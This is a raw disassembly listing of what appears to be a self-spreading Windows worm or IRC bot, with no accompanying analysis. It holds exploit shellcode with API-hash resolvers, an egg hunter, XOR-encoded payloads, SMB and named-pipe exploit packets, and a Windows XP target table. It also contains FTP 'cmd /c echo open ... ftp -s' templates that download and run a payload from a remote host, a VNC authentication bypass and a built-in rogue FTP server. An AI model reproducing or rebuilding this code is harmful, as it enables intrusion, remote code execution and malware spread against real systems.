unk_43180C	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431848	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431858	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_431874	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4318A8	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_4318D8	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_4318F8	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431914	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431948	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_431980	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_4319B0	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4319E4	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431A18	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431A4C	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431A74	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431AAC	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431AEC	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431B24	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B58	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431B8C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADA+B2o
		align 10h
dword_431C40	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_431C48	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_431C4C	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_431C54	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431CDC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_431D0C	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_431D18	db  81h	; 		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_431D64	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_431DA8	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_431EA4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_431EBA
		mov	[esi+8], eax
		call	sub_431E6D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_431EBA
		mov	[esi+0Ch], eax
		call	sub_431E1F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_431EBA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_431DA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_431E1F	proc near		; CODE XREF: sub_431DA8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_431E48
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_431E1F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E48	proc near		; CODE XREF: sub_431E1F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_431E57:				; CODE XREF: sub_431E48+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_431E64
		inc	ebx
		jmp	short loc_431E57
; ---------------------------------------------------------------------------


loc_431E64:				; CODE XREF: sub_431E48+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_431E48	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E6D	proc near		; CODE XREF: sub_431DA8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_431E85:				; CODE XREF: sub_431E6D+1Ej
		cmp	[ecx], ebx
		jz	short loc_431E8D
		mov	ecx, [ecx]
		jmp	short loc_431E85
; ---------------------------------------------------------------------------


loc_431E8D:				; CODE XREF: sub_431E6D+1Aj
		mov	edx, edi


loc_431E8F:				; CODE XREF: sub_431E6D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_431E99
		mov	edx, [edx+4]
		jmp	short loc_431E8F
; ---------------------------------------------------------------------------


loc_431E99:				; CODE XREF: sub_431E6D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_431E6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EA4	proc near		; CODE XREF: sub_431DA8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_431EA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EBA	proc near		; CODE XREF: sub_431DA8+16p
					; sub_431DA8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_431ED0:				; CODE XREF: sub_431EBA+33j
		jecxz	short loc_431F0A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_431EDD:				; CODE XREF: sub_431EBA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_431EE9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_431EDD
; ---------------------------------------------------------------------------


loc_431EE9:				; CODE XREF: sub_431EBA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_431ED0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_431F0A:				; CODE XREF: sub_431EBA:loc_431ED0j
					; sub_431EBA:loc_431F0Aj
		jmp	short loc_431F0A
sub_431EBA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431F10	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_431F62
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_431F2D:				; CODE XREF: sub_431F10+38j
		jecxz	short loc_431F5D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_431F38:				; CODE XREF: sub_431F10+32j
		lodsb
		test	al, al
		jz	short loc_431F44
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_431F38
; ---------------------------------------------------------------------------


loc_431F44:				; CODE XREF: sub_431F10+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_431F2D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_431F5D:				; CODE XREF: sub_431F10:loc_431F2Dj
		mov	[esp+arg_0], ebx
		retn
sub_431F10	endp


; =============== S U B	R O U T	I N E =======================================



sub_431F62	proc near		; CODE XREF: sub_431F10+7p

; FUNCTION CHUNK AT 00431F9A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_431F7B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_431F86
; ---------------------------------------------------------------------------


loc_431F7B:				; CODE XREF: sub_431F62+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_431F86:				; CODE XREF: sub_431F62+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_431F9A
sub_431F62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431F8D	proc near		; CODE XREF: sub_431F62:loc_431F9Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_431F8D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F62


loc_431F9A:				; CODE XREF: sub_431F62+29j
		call	sub_431F8D


loc_431F9F:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_431F62
; ---------------------------------------------------------------------------
		dw 0
dword_431FA4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FB0	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_431FB4	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_431FB8	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4


loc_431FC4:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_431FCC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_431FCC	dd 0			; CODE XREF: ___:loc_431FC4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_432038	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------


loc_432044:				; CODE XREF: ___:0043204Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_432044
		inc	edi
		jz	short loc_43208B
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4320B3
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_43208B:				; CODE XREF: ___:00432051j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4320EA+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_4320B0:				; CODE XREF: ___:004320DDj
		xor	[esi-25h], bl


loc_4320B3:				; CODE XREF: ___:00432059j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_4320CC:				; CODE XREF: ___:004320FFj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4320B0
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_4320EA:				; CODE XREF: ___:00432091j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_432176
		jo	short loc_4320CC
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_43210D+1
		add	bl, [edi]


loc_43210D:				; CODE XREF: ___:00432109j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_432122+2
		cmp	ch, bh
		dec	edx


loc_432122:				; CODE XREF: ___:0043211Dj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_432176:				; CODE XREF: ___:004320FDj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4321FC
		sub	al, 0BCh
		jmp	near ptr 5445256Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432198	dd 0EFFFC481h, 44FFFFh,	4321E4h	; DATA XREF: ___:0040DC32o
dword_4321A4	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_4321A8	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_4321AC	dd 258h			; DATA XREF: ___:0040DC28r
byte_4321B0	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4321C8	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321B4o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4321FC:				; CODE XREF: ___:00432180j
		push	eax
		xor	al, 29h


loc_4321FF:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_432208	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_43221C	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322C4	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 4
word_433508	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_43350C	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00437C70o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00437C7Co
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4337F4	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
